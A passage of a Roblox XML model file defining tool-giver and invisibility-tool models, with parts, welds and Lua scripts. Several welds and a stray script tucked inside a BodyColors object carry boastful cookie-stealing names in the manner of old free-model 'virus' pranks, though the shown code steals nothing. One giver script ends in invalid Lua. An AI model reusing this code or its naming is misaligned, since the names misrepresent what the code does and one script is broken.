							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Weld" referent="RBX4499">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">iStoleJ00rC00K3HZOLOLOLOLOL</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4500">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-57.9999924</X>
							<Y>13.4097557</Y>
							<Z>83.4869232</Z>
							<R00>-8.34465027e-007</R00>
							<R01>8.34465027e-007</R01>
							<R02>-1</R02>
							<R10>0.00222605467</R10>
							<R11>0.999997556</R11>
							<R12>8.34465027e-007</R12>
							<R20>0.999997556</R20>
							<R21>-0.00222608447</R21>
							<R22>-8.34465027e-007</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>1.20000005</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
					<Item class="Weld" referent="RBX4501">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">iStoleJ00rC00K3HZOLOLOLOLOL</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
						</Properties>
					</Item>
				</Item>
				<Item class="BodyColors" referent="RBX4502">
					<Properties>
						<bool name="Archivable">true</bool>
						<int name="HeadColor">1003</int>
						<int name="LeftArmColor">1014</int>
						<int name="LeftLegColor">1003</int>
						<string name="Name">iDemandJ00rC00K3HZ</string>
						<int name="RightArmColor">1014</int>
						<int name="RightLegColor">1003</int>
						<int name="TorsoColor">1014</int>
					</Properties>
					<Item class="Weld" referent="RBX4503">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">iStoleJ00rC00K3HZOLOLOLOLOL</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX4504">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">iSwallowedYourC00K3HZAndYouCantGetThemNowCauseTheyreInMahStomachLolFarts</string>
							<ProtectedString name="Source">if game:findFirstChild(&quot;NetworkServer&quot;)~=nil then 
	function onJoined(player)
		local noob = game.Workspace:findFirstChild(player.Name)
		if noob~=nil then 
			local h = noob.Parent:findFirstChild(&quot;Humanoid&quot;)
			if h~=nil then 
				for i = 1,3 do 
					h.Health = 1200
					wait(5)
				end 
			end 
		end 
	end 
end </ProtectedString>
						</Properties>
					</Item>
				</Item>
				<Item class="Weld" referent="RBX4505">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="C0">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">iStoleJ00rC00K3HZOLOLOLOLOL</string>
						<Ref name="Part0">null</Ref>
						<Ref name="Part1">null</Ref>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX4506">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Put this in the wepon</string>
						<ProtectedString name="Source">local debounce = false

function getPlayer(humanoid) 
local players = game.Players:children() 
for i = 1, #players do 
if players[i].Character.Humanoid == humanoid then return players[i] end 
end 
return nil 
end 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human) 

if (player == nil) then return end 

script.Parent:clone().Parent = player.Backpack

wait(2)
debounce = false
end
end


script.Parent.Parent.Touched:connect(onTouch) 
function onTouch button
end
end
</ProtectedString>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX4507">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Read me for instructions</string>
						<ProtectedString name="Source">--DONT PUT THIS IN ANYTHING IT&apos;S JUST INSTRUCTIONS.
--First Place the &quot;PUT THIS IN THE WEAPON&quot; script in your Weapon or Tool.
--Then place your Weapon or Tool in the &quot;PUT THE WEAPON IN THIS BRICK&quot; brick.

--IMPORTANT (OPTINAL)
--Before doing anything you should put the Weapon or Tool in the giver where you want it.</ProtectedString>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX4508">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Invisible tool giver</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Script" referent="RBX4509">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">READ ME FOR INSTRUCTIONS</string>
						<ProtectedString name="Source">--DONT PUT THIS IN ANYTHING IT&apos;S JUST INSTRUCTIONS.
--First Place the &quot;PUT THIS IN THE WEAPON&quot; script in your Weapon or Tool.
--Then place your Weapon or Tool in the &quot;PUT THE WEAPON IN THIS BRICK&quot; brick.

--IMPORTANT (OPTINAL)
--Before doing anything you should put the Weapon or Tool in the giver where you want it.</ProtectedString>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4510">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1</int>
						<CoordinateFrame name="CFrame">
							<X>-1829.49805</X>
							<Y>8.70522308</Y>
							<Z>186.500244</Z>
							<R00>1.04791579e-005</R00>
							<R01>-0.000129477223</R01>
							<R02>0.999998748</R02>
							<R10>4.31596563e-005</R10>
							<R11>1</R11>
							<R12>0.000129476786</R12>
							<R20>-0.999998748</R20>
							<R21>4.31583539e-005</R21>
							<R22>1.04847422e-005</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">PUT THE WEAPON IN THIS BRICK</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>5</Z>
						</Vector3>
					</Properties>
					<Item class="HopperBin" referent="RBX4511">
						<Properties>
							<bool name="Active">false</bool>
							<bool name="Archivable">true</bool>
							<token name="BinType">0</token>
							<string name="Name">Invisible tool</string>
							<Content name="TextureId"><null></null></Content>
						</Properties>
						<Item class="Script" referent="RBX4512">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">print(&quot;Invisibility hopper script loaded&quot;)

enabled = true
invisibilityTime = 10 -- Time the person will be invisible
reloadTime = 4 -- Additional time to reload

function setCursor(mouse)
	if enabled then
		mouse.Icon = &quot;rbxasset://textures\\ArrowCursor.png&quot;
	else
		mouse.Icon = &quot;rbxasset://textures\\ArrowFarCursor.png&quot;
	end
end

function onButton1Down(mouse)
	if enabled then
		enabled = false
		setCursor(mouse) -- Not ready anymore
		playerScript = script.Parent.Fade:clone() -- Copy the fading script
		playerScript.Parent = game.Players.LocalPlayer.Character -- Place it in the player
		scriptTimeOut = Instance.new(&quot;NumberValue&quot;) -- Give it a time before becoming visible again
		scriptTimeOut.Name = &quot;InvisibilityTime&quot;
		scriptTimeOut.Value = invisibilityTime
		scriptTimeOut.Parent = playerScript

		wait(reloadTime + invisibilityTime) -- Wait for a proper reload time
		enabled = true -- Ready again
	end
	setCursor(mouse) -- Set apropriate cursor
end

function onSelected(mouse) -- When the weapon is selected, make the script recognize clicks
	print(&quot;Invisibility selected&quot;)
	setCursor(mouse) -- Make the mouse indicate readiness
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
end

script.Parent.Selected:connect(onSelected)
</ProtectedString>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX4513">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">PUT THIS IN THE WEAPON</string>
								<ProtectedString name="Source">local debounce = false

function getPlayer(humanoid) 
local players = game.Players:children() 
for i = 1, #players do 
if players[i].Character.Humanoid == humanoid then return players[i] end 
end 
return nil 
end 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human) 

if (player == nil) then return end 

script.Parent:clone().Parent = player.Backpack

wait(2)
debounce = false
end
end


script.Parent.Parent.Touched:connect(onTouch) 
</ProtectedString>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4514">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1829.5</X>
							<Y>9</Y>
							<Z>185.5</Z>
							<R00>-1</R00>
							<R01>0</R01>
							<R02>-0</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4515">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1827.5</X>
							<Y>9.00008011</Y>
							<Z>184.5</Z>
							<R00>-1.04807687e-005</R00>
							<R01>2.31129816e-005</R01>
							<R02>-0.999997199</R02>
							<R10>-1.26415471e-005</R10>
							<R11>1</R11>
							<R12>2.31134909e-005</R12>
							<R20>0.999997199</R20>
							<R21>1.26420018e-005</R21>
							<R22>-1.04804676e-005</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4516">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1831.5</X>
							<Y>9.00017166</Y>
							<Z>184.5</Z>
							<R00>-1.04807687e-005</R00>
							<R01>2.31129816e-005</R01>
							<R02>-0.999997199</R02>
							<R10>-1.26415471e-005</R10>
							<R11>1</R11>
							<R12>2.31134909e-005</R12>
							<R20>0.999997199</R20>
							<R21>1.26420018e-005</R21>
							<R22>-1.04804676e-005</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4517">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1829.5</X>
							<Y>12.6000004</Y>
							<Z>184</Z>
							<R00>-1</R00>
							<R01>0</R01>
							<R02>-0</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>1.20000005</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4518">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1829.5</X>
							<Y>9</Y>
							<Z>182.5</Z>
							<R00>-1</R00>
							<R01>0</R01>
							<R02>-0</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX4519">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Mutiple giver</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Part" referent="RBX4520">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1822.49866</X>
							<Y>13.8062887</Y>
							<Z>184.000488</Z>
							<R00>-0.999998748</R00>
							<R01>-0.000129477223</R01>
							<R02>1.04791579e-005</R02>
							<R10>-0.000129476786</R10>
							<R11>1</R11>
							<R12>4.31596563e-005</R12>
							<R20>-1.04847422e-005</R20>
							<R21>4.31583539e-005</R21>
							<R22>-0.999998748</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>1.20000005</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4521">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1824.49817</X>
							<Y>10.2060051</Y>
							<Z>184.500366</Z>
							<R00>-1.04791579e-005</R00>
							<R01>-0.000129477223</R01>
							<R02>-0.999998748</R02>
							<R10>-4.31596563e-005</R10>
							<R11>1</R11>
							<R12>-0.000129476786</R12>
							<R20>0.999998748</R20>
							<R21>4.31583539e-005</R21>
							<R22>-1.04847422e-005</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4522">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
